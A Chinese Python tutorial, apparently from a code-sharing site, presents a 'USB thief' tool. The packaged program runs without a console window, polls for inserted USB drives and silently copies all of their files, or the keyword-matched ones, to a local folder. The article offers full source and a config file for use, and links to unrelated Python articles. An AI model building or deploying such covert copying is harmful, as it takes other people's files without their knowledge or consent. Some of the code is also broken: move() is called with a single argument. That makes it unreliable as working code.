Python實現(xiàn)U盤數(shù)據(jù)復制工具
1. 簡介
顧名思義,U盤小偷是一款功能強大的U盤數(shù)據(jù)復制工具。它可以幫助用戶快速、方便地將U盤中的文件復制到計算機中,此工具簡潔易用,用戶只需簡單更改配置文件具體參數(shù)即可完成對U盤內(nèi)文件的復制工作。
功能:
- 打包好的程序雙擊運行無控制臺界面彈出,后臺靜默搜索U盤插入狀態(tài),更加隱私下載。
- 可通過更改config.ini配置文件從而更改檢索U盤的時間間隔、文件copy的目的路徑、可選的copy內(nèi)容等,具體可以參考以下config.ini的文檔說明。
- 可自定義選擇篩選需要copy的文件內(nèi)容,亦可選擇全部下載。
config.ini文件相關(guān)內(nèi)容
# PASTE_PATH:需要復制到電腦的文件夾路徑 # KEYWORD:關(guān)鍵詞索引,如果留空不填寫則表示復制U盤下的所有文件以及文件夾 # INTERVAL_TIME:更改檢查U盤是否存在的間隔時間,默認1s檢查一次 [config] PASTE_PATH = D:\usb kEYWORD = INTERVAL_TIME = 5
2. 運行效果


3. 相關(guān)源碼
import os
import logging
import configparser
from psutil import disk_partitions
from time import sleep
from shutil import copytree, copyfile, rmtree, move
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
# 讀取API配置
config = configparser.ConfigParser()
config.read('config.ini')
pastePATH = config.get('config', 'PASTE_PATH')
ukeyword = config.get('config', 'kEYWORD')
intervalTime = config.get('config', 'INTERVAL_TIME')
# 獲取U盤的盤符
# disk_partitions() 打印一下他的返回值,就會完全清楚下面這個函數(shù)
def get_usb_dispart():
for item in disk_partitions():
if item.opts == "rw,removable": # 可讀、可移動介質(zhì)
logger.info("發(fā)現(xiàn)USB:%s" % str(item))
return item.device
logger.info("沒有發(fā)現(xiàn)USB")
return None
# 讀取想要的文件 u盤所有文件或者文件名含有某個字段的文件及文件夾
# 1、文件夾含有該字段:復制文件夾;
# 2、文件含有字段,復制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
if select is None:# 無篩選規(guī)則,復制所有
copytree(src, dst)
logger.info("復制%s盤USB所有內(nèi)容到%s" % (src, dst))
else: # 復制部分
paths = os.listdir(os.path.join(src, path)) # 獲取當前路徑下的所有文件及文件夾
for item in paths:
item = os.path.join(path, item)
if select in item:
if os.path.isdir(os.path.join(src, item)): #如果是文件夾,還有字符直接復制文件夾;否則遞歸遍歷文件夾下的內(nèi)容
try:
copytree(os.path.join(src, item), os.path.join(dst, item))
except Exception as e:
try:
rmtree(os.path.join(dst, item))
except:
continue
copytree(os.path.join(src, item), os.path.join(dst, item))
else:
try:
copyfile(os.path.join(src, item), os.path.join(dst, item))
except Exception as e:
os.makedirs(os.path.dirname(os.path.join(dst, item)))
try:
move(os.path.join(dst, item))
except:
continue
copyfile(os.path.join(src, item), os.path.join(dst, item))
logger.info("復制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
else:
if os.path.isdir(os.path.join(src, item)):
get_useb_file(src, item, select, dst)
if __name__ == "__main__":
while True:
path = get_usb_dispart()
if path is not None:
get_useb_file(src=path, select=ukeyword, dst=pastePATH)
break
sleep(int(intervalTime))
到此這篇關(guān)于Python實現(xiàn)U盤數(shù)據(jù)復制工具的文章就介紹到這了,更多相關(guān)Python U盤數(shù)據(jù)復制內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python用類實現(xiàn)撲克牌發(fā)牌的示例代碼
這篇文章主要介紹了Python用類實現(xiàn)撲克牌發(fā)牌的示例代碼,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2020-06-06
解決python3 HTMLTestRunner測試報告中文亂碼的問題
今天小編就為大家分享一篇解決python3 HTMLTestRunner測試報告中文亂碼的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-12-12
Python函數(shù)中的不定長參數(shù)相關(guān)知識總結(jié)
今天給大家?guī)淼氖顷P(guān)于Python函數(shù)的相關(guān)知識,文章圍繞著Python不定長參數(shù)展開,文中有非常詳細的介紹及代碼示例,需要的朋友可以參考下2021-06-06
Pandas出現(xiàn)KeyError的問題解決及分析
本文主要介紹了Pandas出現(xiàn)KeyError的問題解決及分析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2023-01-01
python實現(xiàn)從字符串中找出字符1的位置以及個數(shù)的方法
這篇文章主要介紹了python實現(xiàn)從字符串中找出字符1的位置以及個數(shù)的方法,對于Python字符串操作的學習有一定的幫助與借鑒作用,需要的朋友可以參考下2014-08-08
高性能web服務(wù)器框架Tornado簡單實現(xiàn)restful接口及開發(fā)實例
Tornado和現(xiàn)在的主流Web服務(wù)器框架(包括大多數(shù)Python的框架)有著明顯的區(qū)別:它是非阻塞式服務(wù)器,而且速度相當快。得利于其 非阻塞的方式和對epoll的運用,Tornado每秒可以處理數(shù)以千計的連接,這意味著對于實時Web服務(wù)來說,Tornado是一個理想的Web框架。2014-07-07

